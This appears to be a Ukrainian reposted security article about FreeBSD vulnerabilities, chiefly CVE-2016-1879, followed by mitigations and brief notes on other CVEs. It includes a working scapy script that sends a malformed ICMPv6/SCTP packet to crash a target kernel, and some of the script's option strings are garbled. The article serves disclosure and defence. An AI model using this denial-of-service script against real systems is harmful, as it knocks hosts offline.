В операційній системі FreeBSD виявлені критичні уразливості (+ демонстрація атаки)



Згідно з повідомленням команди проекту FreeBSD, в операційній системі виявлено ряд критичних вразливостей, що дозволяють зловмисникам проводити атаки відмови в обслуговуванні, здійснювати підвищення привілеїв і розкривати важливі дані.

Вразливість, пов'язана з некоректною обробкою повідомлень ICMPv6 в стеку SCTP (CVE-2016-1879)

SCTP (Stream Transmission Control Protocol — «протокол передачі з управлінням потоком») – протокол транспортного рівня, який розроблений для передачі повідомлень сигналізації телефонних мереж в IP-середовищі. В основному цей протокол використовується в технологічних мережах операторів зв'язку.

Уразливості схильні до версії FreeBSD 9.3, 10.1, 10.2 у тому випадку, якщо вони налаштовані з підтримкою протоколів SCTP і IPv6 (конфігурація за замовчуванням). Для експлуатації помилки зловмисникові потрібно відправити спеціально сформоване повідомлення ICMPv6. Успішна експлуатація уразливості дозволяє реалізувати атаку відмови в обслуговуванні (DoS).

DoS виникає із-за недостатньої перевірки довжини заголовка SCTP пакету, отриманого в ICMPv6 повідомленні про помилку.

Коли адресат недоступний, маршрутизатор може згенерувати повідомлення про помилку і переслати його відправнику через ICMPv6.

У такий ICMPv6 пакет вкладений оригінальний IPv6 пакет, в якому поле Next Header вказує на те, як протокол верхнього рівня інкапсулюється. В даному випадку це SCTP.



Коли ядро отримує за ICMPv6 повідомлення про помилку, воно знаходить в ньому пакет протоколу верхнього рівня і передає його відповідному обробникові (в даному випадку sctp6_ctlinput()).

Обробник SCTP припускає, що вхідний пакет містить заголовок достатньої довжини, намагається скопіювати його за допомогою m_copydata(), в яку передаються значення зсуву і скільки байтів потрібно вважати. Оскільки очікується блок даних розміром 12 байт, якщо відправити пакет з SCTP-заголовком <= 11 байт, то відбувається розіменування нульового покажчика, що викликає критичну помилку ядра системи (kernel panic).

Для експлуатації уразливості наявність відкритого SCTP сокету не обов'язково. Створити ICMPv6-пакет для здійснення атаки можна з допомогою scapy. На Хабре було чимало статей, присвячених цьому потужному інструменту (наприклад, і статті).

#!/usr/bin/python env
# -*- coding: utf-8 -*-

import argparse
from scapy.all import *


def get_args():
parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
parser.add_argument(" і", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
parser.add_argument(" І", "--iface", type=str, help="Iface")
options = parser.parse_args()

if options.dst_mac is None or options.dst_ipv6 is None:
parser.print_help()
exit()

return options


if __name__ == '__main__':
options = get_args()

sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
src=options.dst_ipv6,
dst='fe80::230:56ff:fea6:648c'),
iface=options.iface)

Нижче представлена відеодемонстрація атаки:



Для того, щоб убезпечити себе від атаки з використанням даної помилки безпеки, слід здійснити наступні дії:

  • Відключити IPv6-адресацію в разі якщо вона не потрібна;
  • Заблокувати трафік ICMPv6 або IPv6 на брандмауері екрані;
  • Відключити підтримку стека SCTP в ядрі операційної системи в разі якщо він не потрібен (потрібна перекомпіляція ядра).
Для усунення вразливості патч від виробника, який вносить додаткові перевірки в обробку ICMPv6-повідомлень в SCTP-стек. В даному випадку також потрібно перекомпіляція ядра.

Це ще не все

Крім цього, в системі виявлено ще цілий ряд серйозних вразливостей. Розробники FreeBSD випустили кілька патчів, що закривають ці помилки безпеки:

  1. Уразливість, що дозволяє здійснити DoS-атаку з-за помилки, що виникає при обробці з'єднань TCP з включеними опціями сокета TCP_MD5SIG і TCP_NOOPT. Для успішної експлуатації зловмисникові необхідно відкрити прослуховування сокет з включеною опцією TCP_NOOPT. (CVE-2016-1882, патч;
  2. Уразливість, що дозволяє локальному користувачеві здійснити підвищення привілеїв чи викликати відмову в обслуговуванні — це можливо внаслідок помилки контролю доступу, що дозволяє перезаписати випадкові ділянки пам'яті з допомогою спеціально сформованих системних викликів шару сумісності Linux setgroups(2). (CVE-2016-1881, патч;
  3. З-за помилки в списках Linux robust futex хакери отримують можливість розкриття даних системної пам'яті (CVE-2016-1880, патч;
  4. Небезпечні «дефолтні налаштування безпеки, що дозволяють доступ до файлу конфігурації демона bsnmpd “/etc/bsnmpd.conf" (CVE-2015-5677, патч).
Щоб уникнути проблем, пов'язаних з експлуатацією зазначених вразливостей, експерти Positive Technologies рекомендують користуватися IPv6-адресацією тільки в тому випадку, якщо вона потрібна для функціонування додатків, своєчасно встановлювати оновлення безпеки від розробників ОС використовувати спеціалізовані інструменти (наприклад, MaxPatrol), для контролю захищеності системи.

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.